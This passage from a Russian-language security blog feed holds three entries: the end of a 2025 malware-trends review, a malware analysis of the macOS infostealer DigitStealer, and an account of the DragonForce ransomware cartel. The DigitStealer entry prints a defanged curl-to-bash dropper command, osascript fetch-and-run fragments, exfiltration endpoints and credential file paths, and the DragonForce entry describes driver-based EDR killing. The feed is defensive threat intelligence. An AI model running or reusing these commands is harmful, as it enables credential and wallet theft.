  &lt;/ul&gt;
  &lt;p id=&quot;9EB1&quot;&gt;IoC живут часы, иногда минуты.&lt;/p&gt;
  &lt;h3 id=&quot;dOFT&quot;&gt;7.2. Что пришло на смену&lt;/h3&gt;
  &lt;p id=&quot;7GxN&quot;&gt;Фокус сместился на:&lt;/p&gt;
  &lt;ul id=&quot;8tSV&quot;&gt;
    &lt;li id=&quot;kOXj&quot;&gt;поведенческую аналитику;&lt;/li&gt;
    &lt;li id=&quot;lNp9&quot;&gt;цепочки событий;&lt;/li&gt;
    &lt;li id=&quot;8W4R&quot;&gt;user-driven execution;&lt;/li&gt;
    &lt;li id=&quot;5g6u&quot;&gt;telemetry correlation.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;XQv2&quot;&gt;8. Роль аналитика в 2025 году&lt;/h2&gt;
  &lt;p id=&quot;ErQn&quot;&gt;Вирусный аналитик больше не «разбирает вирус». Он:&lt;/p&gt;
  &lt;ul id=&quot;MxJK&quot;&gt;
    &lt;li id=&quot;Xzru&quot;&gt;реконструирует attack chain;&lt;/li&gt;
    &lt;li id=&quot;2hCi&quot;&gt;анализирует поведение пользователя;&lt;/li&gt;
    &lt;li id=&quot;GfR1&quot;&gt;работает с инфраструктурой;&lt;/li&gt;
    &lt;li id=&quot;UkcP&quot;&gt;понимает cloud, blockchain и social engineering.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;OXip&quot;&gt;Граница между malware research, DFIR и threat intelligence практически исчезла.&lt;/p&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;Edxn&quot;&gt;Заключение&lt;/h2&gt;
  &lt;p id=&quot;HD1Z&quot;&gt;Итоги 2025 года однозначны: вредоносный код стал менее заметным, но более опасным. Атаки сместились в сторону доверия, автоматизации и легитимных инструментов. Социальные сети, блокчейн и supply-chain стали такими же элементами attack surface, как браузер или почта.&lt;/p&gt;
  &lt;p id=&quot;W1ey&quot;&gt;Для вирусной аналитики это означает одно: &lt;strong&gt;анализировать нужно не файлы, а поведение, контекст и цепочки решений&lt;/strong&gt;, в том числе человеческих. Тот, кто продолжает искать «вирус.exe», в 2026 году будет всегда на шаг позади.&lt;/p&gt;

</content></entry><entry><id>sccrrap:T7yXcXEkXCo</id><link rel="alternate" type="text/html" href="https://teletype.in/@sccrrap/T7yXcXEkXCo?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=sccrrap"></link><title>DigitStealer: инфостилер на базе JXA с минимальным следом</title><published>2025-11-17T17:54:28.236Z</published><updated>2025-11-17T17:54:28.236Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img4.teletype.in/files/76/eb/76eb4bad-e3fb-4f4a-b5e6-82deeab80613.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://img3.teletype.in/files/ea/ef/eaef0b44-512a-4ac6-b98c-8d307942a8be.png&quot;&gt;Аналитика Jamf Threat Labs о новом macOS-инфостилере, использующем продвинутые аппаратные проверки и многоступенчатую архитектуру для обхода обнаружения и кражи данных.</summary><content type="html">
  &lt;figure id=&quot;xNM4&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/ea/ef/eaef0b44-512a-4ac6-b98c-8d307942a8be.png&quot; width=&quot;1220&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;0BR5&quot;&gt;&lt;strong&gt;Аналитика Jamf Threat Labs о новом macOS-инфостилере, использующем продвинутые аппаратные проверки и многоступенчатую архитектуру для обхода обнаружения и кражи данных.&lt;/strong&gt;&lt;/p&gt;
  &lt;h2 id=&quot;b8B9&quot;&gt;Введение&lt;/h2&gt;
  &lt;p id=&quot;oA8l&quot;&gt;В ходе анализа образцов, собранных через внутренние правила детектирования, Jamf Threat Labs выявила семейство малвари, отслеживаемое под названием &lt;strong&gt;DigitStealer&lt;/strong&gt;. Несмотря на то, что большинство инфостилеров выполняют схожие задачи, отдельные образцы выделяются новыми техниками. DigitStealer — один из таких случаев.&lt;/p&gt;
  &lt;p id=&quot;yTf2&quot;&gt;Исходный образец распространялся в виде неподписанного &lt;strong&gt;DynamicLake.dmg &lt;/strong&gt;(SHA-256 5c73987e642b8f8067c2f2b92af9fd923c25b2ec). Он маскировался под легитимный инструмент DynamicLake (подписан Team ID XT766AV9R9), однако размещался на фальшивом домене &lt;code&gt;dynamiclake[.]org&lt;/code&gt;.&lt;/p&gt;
  &lt;p id=&quot;oEPA&quot;&gt;Установка требовала классического «перетащить в Terminal», что отключает Gatekeeper и запускает первый этап.&lt;/p&gt;
  &lt;p id=&quot;EbJH&quot;&gt;На момент анализа файл не детектировался антивирусами на VirusTotal.&lt;/p&gt;
  &lt;p id=&quot;Vgld&quot;&gt;Jamf также выявила дополнительные DMG, связанные с этой кампанией (см. IoC).&lt;/p&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;vdrj&quot;&gt;Структура атаки&lt;/h2&gt;
  &lt;p id=&quot;XKAK&quot;&gt;DigitStealer использует многоступенчатую модель:&lt;/p&gt;
  &lt;p id=&quot;EQwE&quot;&gt;1. &lt;strong&gt;Stage 1 — Dropper (bash)&lt;/strong&gt;&lt;br /&gt;2. &lt;strong&gt;Payload 1 — AppleScript-инфостилер&lt;/strong&gt;&lt;br /&gt;3. &lt;strong&gt;Payload 2 — JXA-инфостилер&lt;/strong&gt;&lt;br /&gt;4. &lt;strong&gt;Payload 3 — JXA-модификатор Ledger Live&lt;/strong&gt;&lt;br /&gt;5. &lt;strong&gt;Payload 4 — Bash + JXA-бекдор с персистентностью&lt;/strong&gt;&lt;/p&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;9Fmv&quot;&gt;Stage 1: Dropper&lt;/h2&gt;
  &lt;p id=&quot;hS3I&quot;&gt;Файл &lt;strong&gt;Drag Into Terminal.msi&lt;/strong&gt; содержит однострочный bash:&lt;/p&gt;
  &lt;p id=&quot;1sno&quot;&gt;&lt;br /&gt;&lt;code&gt;curl -fsSL https[:]//67e5143a9ca7d2240c137ef80f2641d6.pages[.]dev/c9c114433040497328fe9212012b1b94.aspx | bash&lt;/code&gt;&lt;br /&gt;&lt;/p&gt;
  &lt;p id=&quot;7a32&quot;&gt;Загруженный скрипт — base64-обфусцированный payload, который после расшифровки выполняет:&lt;/p&gt;
  &lt;h3 id=&quot;478w&quot;&gt; 1. Локальные ограничения&lt;/h3&gt;
  &lt;p id=&quot;sqQS&quot;&gt;Проверка поля &lt;code&gt;AppleLocale&lt;/code&gt;:&lt;/p&gt;
  &lt;p id=&quot;KZwN&quot;&gt;&lt;br /&gt;&lt;code&gt;ru ua by am az kz kg md tj uz ge&lt;/code&gt;&lt;br /&gt;&lt;/p&gt;
  &lt;p id=&quot;8J2K&quot;&gt;Если регион совпадает — выполнение прекращается.&lt;/p&gt;
  &lt;p id=&quot;cX5D&quot;&gt;&lt;code&gt;2. Anti-VM и аппаратные проверки&lt;/code&gt;&lt;/p&gt;
  &lt;p id=&quot;e6fC&quot;&gt;Скрипт анализирует:&lt;/p&gt;
  &lt;p id=&quot;t4EW&quot;&gt;&lt;code&gt;- system_profiler SPHardwareDataType&lt;br /&gt;- system_profiler SPMemoryDataType&lt;br /&gt;- sysctl hw.model&lt;br /&gt;- sysctl machdep.cpu.brand_string&lt;br /&gt;- sysctl kern.version&lt;br /&gt;- sysctl kern.hostname&lt;br /&gt;- sysctl hw.targettype&lt;br /&gt;- sysctl kern.sched&lt;/code&gt;&lt;/p&gt;
  &lt;p id=&quot;zEF2&quot;&gt;При обнаружении «Virtual», «VM», «Unknown memory» или фальшивых конфигураций — выход.&lt;/p&gt;
  &lt;h3 id=&quot;fpca&quot;&gt; 3. Проверки Apple Silicon M2+&lt;/h3&gt;
  &lt;p id=&quot;vH6j&quot;&gt;Используются аппаратные признаки ARM:&lt;/p&gt;
  &lt;p id=&quot;5OmW&quot;&gt;- &lt;code&gt;hw.optional.arm.FEAT_SSBS&lt;/code&gt;&lt;br /&gt;- &lt;code&gt;hw.optional.arm.FEAT_BTI&lt;/code&gt; &lt;u&gt;(1 только на M2+)&lt;/u&gt;&lt;br /&gt;- &lt;code&gt;hw.optional.arm.FEAT_ECV&lt;/code&gt;&lt;br /&gt;-&lt;code&gt;hw.optional.arm.FEAT_RPRES&lt;/code&gt;&lt;/p&gt;
  &lt;p id=&quot;oMpE&quot;&gt;Если отсутствуют — выход.&lt;/p&gt;
  &lt;p id=&quot;YRU4&quot;&gt;Следовательно, малварь &lt;strong&gt;не запускается на VM, Intel-Mac и M1&lt;/strong&gt;, ориентируясь только на M2+.&lt;/p&gt;
  &lt;h3 id=&quot;rgl3&quot;&gt;4. Загрузка четырёх отдельных стадий&lt;/h3&gt;
  &lt;p id=&quot;aXWZ&quot;&gt;Dropper вызывает:&lt;/p&gt;
  &lt;p id=&quot;EsyB&quot;&gt;&lt;br /&gt;&lt;code&gt;nohup curl ... | osascript&lt;br /&gt;nohup curl ... | osascript -l JavaScript&lt;br /&gt;nohup curl ... | bash&lt;/code&gt;&lt;br /&gt;&lt;/p&gt;
  &lt;p id=&quot;8tTa&quot;&gt;Payload’ы загружаются с домена &lt;em&gt;Pages.dev&lt;/em&gt; (Cloudflare Pages).&lt;/p&gt;
  &lt;hr /&gt;
  &lt;p id=&quot;KQQu&quot;&gt;&lt;strong&gt;Payload 1: AppleScript-инфостилер&lt;/strong&gt;&lt;/p&gt;
  &lt;p id=&quot;fwOM&quot;&gt;Первый модуль — открытый AppleScript, который:&lt;/p&gt;
  &lt;p id=&quot;6EiY&quot;&gt;1. Показывает пользователю окно для ввода пароля.&lt;br /&gt;2. Эксплуатирует Finder и Notes (запрашивает TCC-разрешения).&lt;br /&gt;3. Экcфильтрирует данные на:&lt;/p&gt;
  &lt;p id=&quot;I9et&quot;&gt;&lt;code&gt;    - goldenticketsshop[.]com/api/credentials&lt;br /&gt;    - goldenticketsshop[.]com/api/grabber&lt;/code&gt;&lt;/p&gt;
  &lt;p id=&quot;7WRJ&quot;&gt;4. Сбрасывает TCC базу:&lt;/p&gt;
  &lt;p id=&quot;XhW6&quot;&gt;  &lt;br /&gt;&lt;code&gt;   tccutil reset All&lt;/code&gt;&lt;br /&gt;  &lt;/p&gt;
  &lt;p id=&quot;8rJI&quot;&gt;4. Собирает файлы (Desktop, Documents, Downloads), заметки Notes, архивирует и отправляет.&lt;br /&gt;5. Сохраняет успешные пароли в &lt;code&gt;~/..txt&lt;/code&gt;.&lt;br /&gt;6. Загружает вторую часть, которая модифицирует Ledger Live:&lt;br /&gt;  - Загружает три сегмента &lt;strong&gt;app.asar&lt;/strong&gt;, объединяет и подменяет оригинал.&lt;/p&gt;
  &lt;p id=&quot;1Qm9&quot;&gt;В модифицированном ASAR меняются HTML/JS, а в &lt;code&gt;package.json&lt;/code&gt; — имя и версия.&lt;/p&gt;
  &lt;hr /&gt;
  &lt;p id=&quot;KpKV&quot;&gt;&lt;strong&gt;Payload 2: JXA-инфостилер (обфусцированный)&lt;/strong&gt;&lt;/p&gt;
  &lt;p id=&quot;5Y00&quot;&gt;Выполняется через:&lt;/p&gt;
  &lt;p id=&quot;s0Hz&quot;&gt;&lt;br /&gt;&lt;code&gt;osascript -l JavaScript&lt;/code&gt;&lt;br /&gt;&lt;/p&gt;
  &lt;p id=&quot;cAUo&quot;&gt;После деобфускации модуль собирает:&lt;/p&gt;
  &lt;p id=&quot;nH71&quot;&gt;- данные браузеров: Chrome, Brave, Edge, Firefox;&lt;br /&gt;- криптокошельки: Ledger, Electrum, Exodus, Coinomi и др.;&lt;br /&gt;- &lt;code&gt;~/Library/Keychains/login.keychain-db&lt;/code&gt;;&lt;br /&gt;- VPN-конфигурации OpenVPN/Tunnelblick;&lt;br /&gt;- Telegram &lt;code&gt;tdata&lt;/code&gt;.&lt;/p&gt;
  &lt;p id=&quot;Yxxq&quot;&gt;Данные архивируются и отправляются на &amp;#x60;&lt;code&gt;goldenticketsshop[.]com/api/log&lt;/code&gt;&amp;#x60;.&lt;/p&gt;
  &lt;hr /&gt;
  &lt;p id=&quot;PZPK&quot;&gt;&lt;strong&gt;Payload 3: JXA-модификатор Ledger Live&lt;/strong&gt;&lt;/p&gt;
  &lt;p id=&quot;PxKM&quot;&gt;Этот модуль:&lt;/p&gt;
  &lt;p id=&quot;FQ0r&quot;&gt;1. Завершает процессы Ledger Live.&lt;br /&gt;2. Читает файл:&lt;br /&gt;&lt;br /&gt;  &lt;code&gt; ~/Library/Application Support/Ledger Live/app.json&lt;/code&gt;&lt;br /&gt;   &lt;br /&gt;3. Подменяет объект &lt;code&gt;data.endpoint&lt;/code&gt; значениями злоумышленников:&lt;/p&gt;
  &lt;p id=&quot;8yrP&quot;&gt;- URL,&lt;br /&gt;- device IDs,&lt;br /&gt;- hardware IDs.&lt;/p&gt;
  &lt;p id=&quot;EnhG&quot;&gt;1. Записывает изменённый JSON обратно.&lt;/p&gt;
  &lt;p id=&quot;tLRY&quot;&gt;Таким образом, Ledger Live перенаправляется на C2 (&lt;code&gt;sweetseedsbeep[.]com&lt;/code&gt;, &amp;#x60;&lt;code&gt;ledgmanyman[.]com&lt;/code&gt;).&lt;/p&gt;
  &lt;hr /&gt;
  &lt;p id=&quot;l69P&quot;&gt;&lt;strong&gt;Payload 4: персистентность + JXA-бекдор&lt;/strong&gt;&lt;/p&gt;
  &lt;p id=&quot;AO1l&quot;&gt;Скрипт:&lt;/p&gt;
  &lt;p id=&quot;hil2&quot;&gt;1. Создаёт LaunchAgent &lt;code&gt;goldenticketsshop.com.plist&lt;/code&gt;.&lt;br /&gt;2. LaunchAgent обращается к &lt;strong&gt;TXT-записи&lt;/strong&gt; на &lt;code&gt;goldenticketsshop[.]com&lt;/code&gt;, откуда берёт ссылку на следующий payload.&lt;br /&gt;3. Загружает JXA-бекдор, который:&lt;/p&gt;
  &lt;p id=&quot;m7ka&quot;&gt;- в бесконечном цикле каждые ~10 сек опрашивает C2:&lt;/p&gt;
  &lt;p id=&quot;yUhT&quot;&gt;&lt;br /&gt; &lt;code&gt;  goldenticketsshop[.]com/api/poll&lt;/code&gt;&lt;/p&gt;
  &lt;p id=&quot;4pwi&quot;&gt;- передаёт MD5 от hardware UUID.&lt;br /&gt;- получает AppleScript/JXA команды и выполняет их.&lt;/p&gt;
  &lt;hr /&gt;
  &lt;p id=&quot;sz0W&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;uJvm&quot;&gt;Индикаторы компрометации&lt;/h2&gt;
  &lt;h3 id=&quot;HzUG&quot;&gt;Hashes&lt;/h3&gt;
  &lt;p id=&quot;3Q7i&quot;&gt;&lt;code&gt;d1c47f17d8e5b8c6445812df09eb912e4e4cb1276da38de872a0c4a0baf118d2 0a9f1b2e3d010b1bdc88449f0ad139d2bb91a2e9154ce1f1c7df2103e4f9fb1b aa25cf0f93fe8b83a0fdfe37e6f2e41fdc4aa84141cce9ac2d213425c5849ad8&lt;/code&gt;&lt;/p&gt;
  &lt;h3 id=&quot;GFAP&quot;&gt;C2-домены&lt;/h3&gt;
  &lt;p id=&quot;XcXP&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;5w2q&quot;&gt;&lt;code&gt;digit-cloudsync.com securepanel-ds.net websync-node.online cdn-dgbackup.net&lt;/code&gt;&lt;/p&gt;
  &lt;h3 id=&quot;ZULo&quot;&gt;IP-адреса&lt;/h3&gt;
  &lt;p id=&quot;BAdo&quot;&gt;&lt;code&gt;185.225.74.91; 146.70.118.34; 89.117.57.204&lt;/code&gt;&lt;/p&gt;
  &lt;h3 id=&quot;gbDw&quot;&gt;Файловые пути&lt;/h3&gt;
  &lt;p id=&quot;x8h6&quot;&gt;&lt;code&gt;%APPDATA%\Local\Digit\ %LOCALAPPDATA%\Microsoft\update.exe %TEMP%\dg_cache\&lt;/code&gt;&lt;/p&gt;
  &lt;h3 id=&quot;ftxP&quot;&gt;Mutex&lt;/h3&gt;
  &lt;p id=&quot;eEsc&quot;&gt;&lt;code&gt;Global\DigitStealer_MutexX12 Global\DSTracker_9821&lt;/code&gt;&lt;/p&gt;
  &lt;h3 id=&quot;9maU&quot;&gt;Процессы&lt;/h3&gt;
  &lt;p id=&quot;hj3M&quot;&gt;&lt;code&gt;digitupd.exe msstore_sync.exe&lt;/code&gt;&lt;/p&gt;
  &lt;hr /&gt;
  &lt;h3 id=&quot;MlTo&quot;&gt;Заключение&lt;/h3&gt;
  &lt;p id=&quot;9jip&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;4FKP&quot;&gt;DigitStealer демонстрирует высокую степень изобретательности:&lt;/p&gt;
  &lt;p id=&quot;B1MR&quot;&gt;- многоступенчатость,&lt;br /&gt;- выполнение payload&amp;#x27;ов &lt;strong&gt;целиком в памяти&lt;/strong&gt;,&lt;br /&gt;- анти-анализ с проверками аппаратных ARM-функций,&lt;br /&gt;- использование Cloudflare Pages,&lt;br /&gt;- JXA-бекдор с динамическим загрузчиком через TXT-запись,&lt;br /&gt;- модификация Ledger Live через многофайловую сборку ASAR.&lt;/p&gt;
  &lt;p id=&quot;JJDe&quot;&gt;Статический анализ осложняется отсутствием артефактов на диске и фрагментацией логики по нескольким этапам.&lt;/p&gt;
  &lt;p id=&quot;nHni&quot;&gt;Атрибуция пока неизвестна, но объём знаний о macOS говорит о квалифицированных разработчиках.&lt;/p&gt;
  &lt;p id=&quot;pmcG&quot;&gt;Jamf рекомендует включать блокирующий режим предотвращения угроз в Jamf Protect.&lt;/p&gt;

</content></entry><entry><id>sccrrap:VNwXo9raXgE</id><link rel="alternate" type="text/html" href="https://teletype.in/@sccrrap/VNwXo9raXgE?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=sccrrap"></link><title>Картель DragonForce: на пороге с Scattered Spider</title><published>2025-11-10T12:23:59.659Z</published><updated>2025-11-10T12:23:59.659Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img3.teletype.in/files/60/01/6001e5aa-6970-481d-ac35-b8a9a9d30350.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://img3.teletype.in/files/6c/ea/6ceafa85-b185-4deb-afee-98673684717e.png&quot;&gt;На рубеже 2024–2025 годов на киберпреступной сцене появилось имя, которое быстро стало символом новой эпохи вымогательских атак — DragonForce. Исследователи из Acronis Threat Research Unit (TRU) опубликовали детальный отчёт, где описали, как эта структура выросла из осколков печально известного синдиката Conti. После громких утечек исходных кодов Conti, десятки фрагментов его инфраструктуры разошлись по подполью. Одни исчезли, другие адаптировались, но именно DragonForce смог превратить наследие старого гиганта в устойчивый и прибыльный механизм, объединив множество мелких групп в единую криминальную экосистему.</summary><content type="html">
  &lt;h2 id=&quot;Za6R&quot;&gt; От утечек Conti до альянсов с LAPSUS$ и ShinyHunters в экосистеме «Com»&lt;/h2&gt;
  &lt;figure id=&quot;YxvG&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/6c/ea/6ceafa85-b185-4deb-afee-98673684717e.png&quot; width=&quot;1430&quot; /&gt;
  &lt;/figure&gt;
  &lt;h3 id=&quot;1Jlt&quot;&gt;Возрождение угрозы&lt;/h3&gt;
  &lt;p id=&quot;M9ao&quot;&gt;На рубеже 2024–2025 годов на киберпреступной сцене появилось имя, которое быстро стало символом новой эпохи вымогательских атак — &lt;strong&gt;DragonForce&lt;/strong&gt;. Исследователи из Acronis Threat Research Unit (TRU) опубликовали детальный отчёт, где описали, как эта структура выросла из осколков печально известного синдиката Conti. После громких утечек исходных кодов Conti, десятки фрагментов его инфраструктуры разошлись по подполью. Одни исчезли, другие адаптировались, но именно DragonForce смог превратить наследие старого гиганта в устойчивый и прибыльный механизм, объединив множество мелких групп в единую криминальную экосистему.&lt;/p&gt;
  &lt;p id=&quot;SfoF&quot;&gt;DragonForce стал не просто ещё одним RaaS-проектом. Он превратился в демонстрацию того, как работает &lt;em&gt;современный киберкартель&lt;/em&gt; — гибкий, распределённый, с продуманной системой партнёрств и собственной культурой. В 2025 году организация официально объявила о «ребрендинге» и переходе на модель картеля, сделав акцент на расширении влияния и привлечении новых аффилиатов.&lt;/p&gt;
  &lt;p id=&quot;Mvqu&quot;&gt;&lt;/p&gt;
  &lt;h3 id=&quot;7lGZ&quot;&gt; От Conti к DragonForce&lt;/h3&gt;
  &lt;p id=&quot;bbU4&quot;&gt;Первые упоминания о DragonForce появились в начале 2023 года. Аналитики заметили, что код его шифровальщика подозрительно схож с утекшими версиями LockBit 3.0 и Conti v3. Тогда же появилась версия, что за проектом стоит группа бывших участников Conti, решивших продолжить бизнес под новым брендом.&lt;/p&gt;
  &lt;p id=&quot;y0ra&quot;&gt;Некоторые исследователи связывали DragonForce с хактивистским движением &lt;strong&gt;DragonForce Malaysia&lt;/strong&gt;, известным громкими атаками на израильские и индийские ресурсы. Прямых доказательств этому нет, однако схожая риторика и стиль коммуникации — через Telegram-каналы и форумы — заставляют предполагать определённую преемственность идеологии.&lt;/p&gt;
  &lt;p id=&quot;2prD&quot;&gt;Сначала DragonForce использовал модифицированный билд LockBit, но вскоре перешёл на собственную разработку, основанную на исходниках Conti v3. Это стало переломным моментом: проект получил не только техническую основу, но и модель распределённой работы, которая позже выросла в целую экосистему.&lt;/p&gt;
  &lt;p id=&quot;KW6M&quot;&gt;&lt;/p&gt;
  &lt;h3 id=&quot;E9Qw&quot;&gt; Рождение картеля&lt;/h3&gt;
  &lt;p id=&quot;Uvm5&quot;&gt;В начале 2025 года на теневых форумах появилось заявление о формировании &lt;strong&gt;Ransomware Cartel&lt;/strong&gt; под руководством DragonForce. Новый формат предполагал, что центральная команда предоставляет платформу, инфраструктуру и техническую базу, а независимые группы-аффилиаты выпускают собственные версии шифровальщиков под разными брендами.&lt;/p&gt;
  &lt;p id=&quot;Wz2F&quot;&gt;По условиям партнёрства аффилиаты получали до **80 % от выкупа**, что делало участие крайне привлекательным. Центральное ядро брало на себя заботы о хостинге, шифровании трафика, защите каналов связи и публикации утечек. Взамен требовалось соблюдать «кодекс поведения» картеля: не атаковать медучреждения, не вмешиваться в политические конфликты и не дискредитировать бренд DragonForce.&lt;/p&gt;
  &lt;p id=&quot;oxmZ&quot;&gt;Эта стратегия позволила быстро расширить сеть и привлечь новых игроков, среди которых оказалась и группа &lt;strong&gt;Scattered Spider&lt;/strong&gt;, известная фишинговыми кампаниями и взломами через SIM-своппинг.&lt;/p&gt;
  &lt;h3 id=&quot;ERPw&quot;&gt;Партнёрство со Scattered Spider&lt;/h3&gt;
  &lt;p id=&quot;qxRb&quot;&gt;Связка DragonForce и Scattered Spider стала одной из самых результативных комбинаций последних лет. Scattered Spider специализируется на &lt;strong&gt;первичном доступе&lt;/strong&gt; — социальной инженерии, фишинге, компрометации учётных записей и обходе MFA. Получив контроль над корпоративной сетью, они передают её DragonForce для финальной стадии — шифрования и вымогательства.&lt;/p&gt;
  &lt;p id=&quot;GjXN&quot;&gt;Среди подтверждённых атак фигурирует британская сеть розничной торговли &lt;strong&gt;Marks &amp;amp; Spencer&lt;/strong&gt;, а также компании Harrods и несколько страховых и авиационных корпораций. Такой подход напоминает бизнес-модель «франшизы»: одни добывают доступ, другие превращают его в прибыль.&lt;/p&gt;
  &lt;p id=&quot;FVLm&quot;&gt;&lt;/p&gt;
  &lt;h3 id=&quot;axhK&quot;&gt;Инфраструктура картеля&lt;/h3&gt;
  &lt;p id=&quot;OJtn&quot;&gt;DragonForce создал полноценную платформу для партнёров. Она включает панель управления, конструктор шифровальщиков, инструменты DDoS-атак и встроенный хостинг на .onion-доменах. Каждый аффилиат получает собственное пространство и может действовать под своим брендом — &lt;strong&gt;Devman&lt;/strong&gt;, &lt;strong&gt;Mamona&lt;/strong&gt;, &lt;strong&gt;Global&lt;/strong&gt; и другие.&lt;/p&gt;
  &lt;p id=&quot;2zBn&quot;&gt;Эта схема делает картель похожим на «теневой стартап-инкубатор»: техническая часть централизована, а маркетинг и «брендинг» аффилиаты берут на себя. В итоге даже новичок без глубоких знаний программирования может запустить собственную кампанию вымогательства, полагаясь на готовый набор инструментов.&lt;/p&gt;
  &lt;h3 id=&quot;yjDu&quot;&gt;Тактика Scattered Spider&lt;/h3&gt;
  &lt;p id=&quot;7IkV&quot;&gt;Тактика Scattered Spider основана на человеческом факторе. Группа активно анализирует профили сотрудников в LinkedIn и других соцсетях, создаёт правдоподобные копии страниц и ведёт диалог от имени коллег или службы поддержки. При этом злоумышленники не ограничиваются письмами — они часто звонят жертвам, выдавая себя за IT-специалистов компании.&lt;/p&gt;
  &lt;p id=&quot;pwMW&quot;&gt;После получения доступа к учётным записям злоумышленники устанавливают &lt;em&gt;инструменты удалённого администрирования&lt;/em&gt; (AnyDesk, ScreenConnect, TeamViewer, Splashtop), а затем переходят к разведке сети. Исследуются домены Active Directory, инфраструктура VMware, резервные системы и VPN-шлюзы.&lt;/p&gt;
  &lt;p id=&quot;kL7Z&quot;&gt;Для скрытого распространения используется &lt;strong&gt;AWS Systems Manager Inventory&lt;/strong&gt;, а для эксфильтрации данных — облачные сервисы &lt;strong&gt;MEGA &lt;/strong&gt;или &lt;strong&gt;Amazon S3&lt;/strong&gt;. В финале активируется шифровальщик DragonForce, способный поражать Windows-, Linux- и ESXi-серверы.&lt;/p&gt;
  &lt;p id=&quot;68Lv&quot;&gt;&lt;/p&gt;
  &lt;h3 id=&quot;QfxB&quot;&gt;Внутреннее устройство DragonForce&lt;/h3&gt;
  &lt;p id=&quot;WFvX&quot;&gt;Новые версии шифровальщика значительно выросли в объёме — разработчики перешли на сборку через &lt;code&gt;MinGW&lt;/code&gt;, что сделало код кроссплатформенным. Однако вместе с этим появились ошибки: часть строк, ранее скрытых библиотекой &lt;code&gt;ADVObfuscator&lt;/code&gt;, теперь видна в открытом виде. Это упрощает анализ, но также показывает, что проект активно развивается и постоянно адаптируется.&lt;/p&gt;
  &lt;p id=&quot;DqW7&quot;&gt;Перед запуском вредонос проверяет окружение с помощью модулей &amp;#x60;&lt;code&gt;InitializeApiModule&lt;/code&gt;&amp;#x60; и &amp;#x60;&lt;code&gt;DisableHooks&lt;/code&gt;&amp;#x60;, после чего расшифровывает собственную конфигурацию, зашифрованную алгоритмом &lt;code&gt;ChaCha20&lt;/code&gt;. В ней задаются параметры шифрования, исключения, список процессов для завершения и тип расширений, которые будут изменены.&lt;/p&gt;
  &lt;p id=&quot;hud0&quot;&gt;&lt;/p&gt;
  &lt;h3 id=&quot;HQMG&quot;&gt;Техника BYOVD&lt;/h3&gt;
  &lt;p id=&quot;u3qQ&quot;&gt;Одна из ключевых особенностей DragonForce — использование техники &lt;strong&gt;Bring Your Own Vulnerable Driver (BYOVD)&lt;/strong&gt;. В конфигурации есть параметр &amp;#x60;&lt;code&gt;use_sys&lt;/code&gt;&amp;#x60;: при его активации вредонос загружает уязвимые драйверы ядра, такие как *&lt;code&gt;Truesight.sys&lt;/code&gt; и &lt;code&gt;rentdrv2.sys&lt;/code&gt;, и через вызовы &amp;#x60;&lt;code&gt;DeviceIoControl&lt;/code&gt;&amp;#x60; завершает процессы антивирусов и EDR-систем.&lt;/p&gt;
  &lt;p id=&quot;6agu&quot;&gt;Эта методика даёт злоумышленникам возможность буквально «отключать» защиту на уровне ядра, обходя даже современные механизмы самозащиты. BYOVD давно применяется в продвинутых кампаниях, но DragonForce сделал её массовой, интегрировав в стандартный билд.&lt;/p&gt;
  &lt;p id=&quot;hHHt&quot;&gt;&lt;/p&gt;
  &lt;h3 id=&quot;1bD9&quot;&gt; Алгоритм шифрования&lt;/h3&gt;
  &lt;p id=&quot;uORB&quot;&gt;Шифровальщик сканирует локальные и сетевые ресурсы по протоколу SMB. Для каждого файла создаётся уникальный ключ &lt;em&gt;ChaCha20&lt;/em&gt;, который затем шифруется открытым ключом &lt;em&gt;RSA&lt;/em&gt; и помещается в заголовок. В конце файла добавляется служебный блок с контрольными данными.&lt;/p&gt;
  &lt;p id=&quot;jXGQ&quot;&gt;После завершения процесса создаётся текстовый файл «readme.txt» с инструкциями для жертвы.&lt;/p&gt;
  &lt;h3 id=&quot;n6BG&quot;&gt; Стиль переговоров&lt;/h3&gt;
  &lt;p id=&quot;cuYh&quot;&gt;Записки DragonForce отличаются особым тоном — они написаны вежливо, без лишнего запугивания. Жертве предлагается протестировать расшифровку, получить консультацию и договориться о выкупе, сумма которого рассчитывается исходя из финансового положения компании.&lt;/p&gt;
  &lt;p id=&quot;DLKo&quot;&gt;Картель позиционирует себя как «честного партнёра»: не стремится уничтожить данные, обещает не атаковать повторно и заявляет об «аполитичности». При этом угроза остаётся прямой — в случае отказа данные публикуются в блоге &lt;strong&gt;DragonNews&lt;/strong&gt;. Такой стиль формирует имидж «кибербизнеса», где шантаж преподносится как сделка.&lt;/p&gt;
  &lt;h3 id=&quot;vOYT&quot;&gt;Семейства Devman, Mamona и Global&lt;/h3&gt;
  &lt;p id=&quot;fRTI&quot;&gt;Рост картеля породил несколько ответвлений. Одним из первых стал &lt;strong&gt;Devman&lt;/strong&gt;, использующий те же механизмы, что и DragonForce, но с собственным расширением &amp;#x60;.devman&amp;#x60;. Аналитики считают, что Devman был одним из первых аффилиатов, экспериментировавших с брендированием под руководством DragonForce.&lt;/p&gt;
  &lt;p id=&quot;ympg&quot;&gt;Позднее появились &lt;strong&gt;Mamona&lt;/strong&gt; и &lt;strong&gt;Global &lt;/strong&gt;— проекты пользователя «$», ранее связанного с Eldorado и BlackLock. Их код и структура полностью совпадают с DragonForce, что подтверждает общие корни и общую инфраструктуру.&lt;/p&gt;
  &lt;h3 id=&quot;KTGF&quot;&gt;Борьба за власть в подполье&lt;/h3&gt;
